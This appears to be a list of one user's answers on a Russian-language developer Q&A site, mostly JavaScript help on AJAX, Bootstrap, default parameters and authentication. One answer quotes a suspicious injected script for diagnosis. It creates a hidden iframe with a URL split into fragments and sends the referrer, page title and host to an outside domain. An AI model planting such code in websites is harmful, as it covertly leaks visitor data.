• Почему после AJAX запроса к *.php файлу, сервер отправляет текст без html кода?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Посмотрите в консоли что отвечает сервер на Ваш запрос. Если все ок - смотрим js
    Как минимум обработчик xmlhttp.onreadystatechange неполон.
    xhr.onreadystatechange = function () {
       var html, status;
       if (xhr.readyState == 4) {
          if ((status = xhr.status) >= 200 && status < 400) {
               html=xhr.responseText;
               //code
          }else{
               //error status
          }
       }
    }
    Ответ написан
    Комментировать
  • Есть ли еще баг в хроме с подгрузкой скриптов?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    На всякий не помешает и проверять.
    function loadScript(src,_timeout) {
    
               return new Promise(function(resolve, reject){
                   if(!src){
                       reject(new TypeError("filename is missing"));
                       return;
                   }
                   var script=document.createElement("script"),
                       timer,
                       head=document.getElementsByTagName("head")[0];
                   
                   function leanup(){
                       clearTimeout(timer);
                       timer=null;
                       script.onerror=script.onreadystatechange=script.onload=null;
                   }
    
                   function onload(){
                       leanup();
                       if(!script.onreadystatechange||(script.readyState&&script.readyState=="complete")){
                           resolve(script);
                       }
                   }
                   script.onerror=function(error){
                       leanup();
                       head.removeChild(script);
                       script=null;
                       reject(new Error("network"));
                   };
                   if (script.onreadystatechange === undefined) {
                       script.onload = onload;
                   } else {
                       script.onreadystatechange = onload;
                   }
                   timer=setTimeout(script.onerror,_timeout||30000);
                   script.setAttribute("type", "text/javascript");
                   script.setAttribute("src", src);
                   head.appendChild(script);
               });
           }


    loadScript("script.js").then(function(script){
      console.log("ok",script);
    },function(error){
      console.warn("fail");
    });
    Ответ написан
  • Как подключить ультразвуковой сенсор?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Ну если не хотите использовать готовый простонародный HC SR-04, который имеет лучший диапазон расстояний и приличную точность, то можно попробовать этот www.aliexpress.com/item/1PCS-X-DC-5V-Waterproof-Ul...,201444_5,201409_2
    или ему подобные..
    Еще можно подумать о варианте замены излучателя на плате своим, хотя тот тоже водонепроницаемый и кажется очень похож...
    Ответ написан
    Комментировать
  • Это говнокод или фича?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Вероятно, это оптимизация производительности критического участка кода, довольно часто используется разработчиками соответствующего уровня при написании библиотек и фреймворков. В некоторых случаях switch производительнее условных конструкций, тем более любых других реализаций, с более читабельным либо "рациональным" видом.
    Ответ написан
    Комментировать
  • Данный скрипт - вирус?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Ну ничего хорошего тут точно нет, кроме как вставки iframe
    <script type="text/javascript">
    	var referer = encodeURIComponent(document.referrer);
    	var default_keyword = encodeURIComponent(document.title);
    	var host = encodeURIComponent(location.host);
    	var iframe = document.createElement('iframe');
    	iframe.width=0;
    	iframe.height=0;
    	iframe.src= "h" + "tt" + "p://" + "c11n4." + "i.te" + "as" + "erg" + "uid" + "e.c" + "om" + "/snitch?d" + "ef" + "aul" + "t_k" + "ey" + "word=" + default_keyword + "&refe" + "rrer=" + referer + "&se_r" + "ef" + "er" + "rer=" + referer + "&sou" + "rce=" + host;
    	document.body.appendChild(iframe);
    </script>

    еще и разбили url дабы не обнаруживался. c11n4.i.teaserguide.com/snitch?default_keyword=Tes...
    Ответ написан
    Комментировать
  • Как убрать строчку из html кода для определенного разрешения эрана?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    В JS разрешения хранятся в переменных screen.width и screen.height...
    Ну, например вспомнить о старом добром document.write() . Запихнуть скрипт в head
    <script type="application/javascript">
            if(screen.width<1024 && screen.height<768){
               document.write('<meta name="viewport" content="width=device-width, initial-scale=1.0">');
            }
        </script>
    Ответ написан
    1 комментарий
  • Как отркрыть модальное окно из модального окна в Bootstrap?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    $(".modal").modal("hide");//закрыть все окна
       $("#secondModal").modal('show');//открыть нужное
    Ответ написан
    Комментировать
  • Как работает stateless token authentication?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    1) Конечно нужно, хранить токены крайне желательно в оперативной памяти, в NoSQL БД . Так как никакой ценности токены не несут, если потеряются, а нужна максимальная скорость.
    2) Просто сравнивать, IP адрес по желанию. Учесть что за NAT несколько пользователей могут иметь одинаковый IP. Несколько токенов могут быть привязаны к одному IP.
    3) Сменить пароль (точнее хеш) - удалить токен - страница авторизации-вход-выдача нового токена
    4) Да придется. Нужда в "кешировании" отпадает при выполнении пункта 1.
    Ответ написан
    Комментировать
  • Организация корпоративной Wi-Fi сети на 60+ машин, план, программы?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Не понимаю, что за "секреты" Вы хотите здесь услышать?
    Необходимый материал без проблем можно по крупицам нагуглить, и накопипастить, Вы же должны больше знать что там от Вас требуют на курсовой и по какой методике хотят чтобы вы ее планировали и на каком уровне.
    Может от Вас хотят услышать аля возьмем агрегационный жирный гигабитый свитч mikrotik'овский с SFP на входе, а лучше парой для балансировки и резервирования, поднимем на нем DCHP серв и NAT и натыкаем в него 3-4 точки доступа, смотря какая площадь, возможно включим на них WDS то делов то, а строить модели трафика, рассчитывать всякие лабурды по разным законам распределения на 40 страниц ну его... я до сих пор в кошмарах это вижу=))
    Ответ написан
    2 комментария
  • Как проверить баланс скобок?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Где то так... https://jsfiddle.net/DigitalBrain/azj0u01d/
    function js(text){
             var i,
                     l=text.length,
                     char,
                     last,
                     stack=[];
    
             for(i=0; i<l; i++){
                 char=text[i];
    
                 if(char=="{" || char=="("){
                     stack.push(char);
                 }else if(char=="}" || char==")"){
                     if(stack.length>0){
                         last=stack[stack.length-1];
                         if ((char == '}' && last == "{") || (char == ')' && last == '(')) {
                             stack.pop();
                         }
                     }
                 }
             }
             return stack.length==0;
         }
         console.info(js("function test(){ alert(); }")); // true
         console.info(js("function test)({ alert(); }")); //false

    Слегка оптимизировал
    function js(text){
             var i, l=text.length,  char,  last, stack=[];
    
             for(i=0; i<l; i++){
                 char=text[i];
                 if(char=="{" || char=="("){
                     stack.push(char);
                     last=char;
                 }else if(char == '}' || char == ")"){
                     if(last){
                         if((char == '}' && last == "{") || (char == ')' && last == '('))
                         {
                             stack.pop();
                             last = stack.length > 0 ? stack[stack.length - 1] : undefined;
                         }
                     }else{
                         return false;
                     }
                 }
             }
             return stack.length==0;
         }
    Ответ написан
  • Как обновить содержание модального окна в Bootstrap3?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Читал документацию, все равно не выходит.

    Сначала начните изучать javascript, а не bootstrap, тогда будет все доходить, ибо попытка использования document.write это уже не шутки... =)
    https://learn.javascript.ru/document-write
    $("#modalID").find(".modal-body").html(htmlString);
    Ответ написан
    Комментировать
  • Как превратить строку в число?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Вытянуть числа со строки не проблема по индусскому феншую:
    function getNumbers(str){ //вернет массив всех чисел в строке
             var reg=/\d+/g,results=[];
             while(match=reg.exec(str)){
                 results.push(match[0]*1);
             }
             return results;
         }
         console.info("Numbers:",getNumbers("цена за 1 мес. - 25"));    //  Numbers: [1, 25]
         console.info("Price:", getNumbers("цена за 1 мес. - 25")[1]);  // Price: 25


    А не индусы обрамляют тегом нужное значения и ищут его через селекторы...
    Ответ написан
    3 комментария
  • Как скачивать изображения с других сайтов?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Можно покопать в сторону загрузки изображения по url в canvas, потом использовать toDataURL чтобы получить файл в base64, потом уже его сохранить через File API
    Ответ написан
    Комментировать
  • Как проверить существование картинки по УРЛ адресу?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    пытаться грузить, ловить ошибку..
    stackoverflow.com/questions/3381663/how-to-check-i...

    и на чистом в целях популяризации ;)

    function request( url, type, data){
    
             if(!url)return Promise.reject(TypeError("url is missing"));
    
             return new Promise(function(resolve,reject){
                 var xmlhttp = new XMLHttpRequest();
                 xmlhttp.open(type||'GET', url, true);
                 xmlhttp.onreadystatechange = function(){
                     if (xmlhttp.readyState == 4) {
                         if(xmlhttp.status >= 200 && xmlhttp.status<400 ) {
                             resolve(xmlhttp);
                         }else{
                             reject(xmlhttp.status);
                         }
                     }
                 };
                 xmlhttp.onerror=xmlhttp.ontimeout=reject;
                 xmlhttp.send(data||null);
             })
         }
    
         function isImageExists(url,timeout){
             if(url) {
                 return new Promise(function(resolve, reject)
                 {
                    var img=document.createElement("img"), timer, counter=0;
                     function clear(){
                         if(timer){
                             clearInterval(timer);
                             timer=null;
                         }
                     }
                    timer=setInterval(function(){
                        if(img.width){
                            clear();
                            resolve(img);
                        }else{
                            if((counter+=20)>(timeout||5000)){
                                clear();
                                reject(Error("timeout"));
                            }
                        }
                    },20);
                    img.onload=function(){
                        clear();
                        resolve(img);
                    }
                    img.onerror=function(error){
                        clear();
                        reject(error);
                    }
                    img.src=url;
                 });
             }
             return Promise.reject(TypeError("url missing"));
         }
    
         isImageExists("gfx/ajax-loader.gif").then(function(img){
             console.log("img loaded", img);
             document.body.appendChild(img);
         },function(error){
             console.warn("image missing",error);
             request("/index.php?action=error","GET");
         })
    Ответ написан
  • Можно ли в js функции задавать переменные по умолчанию?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Если пока не использовать ES6, то можно сделать ручками нечто вроде:
    jsfiddle.net/DigitalBrain/1detwmvr
    /**
          * Attach defaults to function
          * @param {Function} fn function for which the defaults are set
          * @param {Array} defaults function defaults array
          * @param {Number} [count] count of required parameters
          * @param {Object} [context] scope for fn
          * @returns {Function}
          */
    
         function defaults(fn, defaults, count, context) {
             if (!Array.isArray(defaults))throw TypeError("function defaults must be an array!");
             if(!count)count=0;
             return function () {
                 var args = Array.prototype.slice.call(arguments),
                     len = args.length,
                     defLength = defaults.length,
                     index=len-count,
                     callArgs = index>=0 && len < defLength+count ? args.concat(defaults.slice(index)) : args;
                 if (count && len < count) {
                     throw TypeError("Function expected at least "+count+" argument"+(count > 1 ? "s" : "")+", but "+len+" were given");
                 }
                 return fn.apply(context || this, callArgs);
             }
         }
    
         /**
          *
          * @param a - var1.
          * @param [b=2] - var2.
          * @param [c=3] - var3.
          * @param [d=4] - var3.
          * @type {Function}
          */
    
         var f=defaults(function(a,b,c,d){
             console.warn(arguments);
         }, [2,3,4], 1);
    
    
    
         f(5, 9, 18, 100);// [5, 9, 18, 100]
         f(5, 9, 18);// [5, 9, 18, 4]
         f(5, 9);// [5, 9, 3, 4]
         f(5);// [5, 2, 3, 4]
         f();// TypeError: Function expected at least 1 argument, but 0 were given


    Можно конечно запихнуть это в прототип функции и синтаксис стает приятнее:
    var f=function(a,b,c,d){
             console.warn(arguments);
         }.defaults([2,3,4], 1);

    ...но не совсем гуд так делать
    Ответ написан
    2 комментария
  • Как написать чат на websocket'ax (javascript)?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    socket.io
    socket.io/demos/chat
    https://github.com/socketio/socket.io/tree/master/...

    Без этой библиотеки у Вас пока ничего не получится, ведь кроме клиента нужен сервер, который и реализуется этой прослойкой, писать же свой- глупое занятие + что то мне подсказывает что Вам пытаться делать этот велосипед еще рановато.
    Вы можете отказаться только от клиентской прослойки библиотек, которые позволяют примерно эмулировать работу web сокетов в старых браузерах через ajax и более древние техники, но не от сервера. В javascript нету ничего о веб сокетах, с клиентской стороны это интерфейсы браузера, а на nodejs сервере все нужно реализовывать самому, или через те библиотеки, которые Вы не хотите.

    Базис о клиентских сокетах в браузере почитать можно тут:
    https://developer.mozilla.org/en-US/docs/Web/API/W...
    Ответ написан
    Комментировать
  • Как заменить значения в CSS на JS?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Учимся сначала тут: https://learn.javascript.ru/styles-and-classes

    document.querySelector(".one").style.margin = "20px -30px -30px 30px";
     //or
    var el=document.querySelector(".one");
    el.style.marginTop = "20px";
    el.style.marginLeft = "20px";

    Про Jquery, а тем более Angular, который вообще тут не при чем, не ведитесь. Сначала native- потом любой DOM фреймворк..

    И кстати, про старый добрый document.getElementsByClassName() - если нужно получить только один элемент и DOM дерево большое у него могут быть проблемы с производительностью, так как выборка всех совпадений идет, а не только первый.
    Ответ написан
    4 комментария
  • JavaScript заменит php или ASP.NET?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Насчет "заменит" вряд ли, если речь идет о полном замещении и его отмирании в ближайшее время, хотя бы потому, что php намного раньше появился, намного больше решений уже написано на нем и вокруг него построено большое сообщество. Низкий порог вхождения, максимальная простота, любой индус с деревни давно пишет на нем, что удешевляет типичные решения на нем и покрывают среднестатистические потребности заказчиков.
    JS более многообещающий, хотя бы то что один язык на обеих концах уже огромный плюс+ кодинг под modile. От рядовых хомяков, что не видели ничего кроме php в посредственном кодинге и знакомы с JS через $(""), конечно ожидать восторга от JS не стоит: нет 100500 функций в ядре, нужных и не нужных, асинхронность, прототипное ооп (при том что все еще находятся уникумы, которые обходятся без ооп в php), пока относительно мало готовых решений - копипастить неудобно.
    Ну а потеснить - конечно потеснит ибо JS покрывает те задачи, где php обижено курит в сторонке...
    Ответ написан
    5 комментариев
  • Как лучше проверять авторизован ли пользователь?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Ну если решили собственный механизм авторизации на куках, то я обычно, если не для Пентагона пишу, делаю так:
    Храню в куках userid и hash сгенерированной сессии
    На сервере проверяю в какой-нить функции типа enterSession наличие куки и если есть- ищу по куках сессию для пользователя userid и сходится ли IP на которую он открыт с тем, с которого пытаются сделать запрос. Если все ОК заполняю какой нить $CURRENT_USER массив c основной инфой, иначе =null; Тогда, если $CURRENT_USER!=null значит авторизован.
    Сессии храню в таблицах в озу в Nosql. После, обычно, 60 мин бездействия, сессию закрываю. Для особо критичных действий - прошу указать текущий пароль...
    собственно не многим отличается от сесcий php...
    Ответ написан
    Комментировать
  • Как сделать переключение вкладок на нативном js?

    DIITHiTech
    @DIITHiTech
    Fullstack javascript developer
    Такой код нежизнеспособен, ибо хотя бы нет повторного использования кода и Вы будете повторять сами себя, это неизбежно... это если не касаться самого "компонента" ибо это только заготовка.
    Абстракцию все ровно придется писать, придется писать минимальный базис для работы с DOM.
    Тут у здешних две крайности на эту тему:
    1) JQuery везде, JQuery всегда, JQuery любит папа, мама и я... (с) =)
    2) Vanilla JS - так давайте же все напишем без абстракций, ядра , библиотек... чем больше сдадим-тем лучше
    Писать на "чистом" не освобождает от необходимости грамотно строить код, придерживаться ООП, модульности, юзания библиотек и любых методик позволяющих не повторяться. Да, это приведет к появлению собственных библиотечных функций, возможно микрофеймворка, если не взяли готовый перед этим, но так и должно же быть....
    Ответ написан
    Комментировать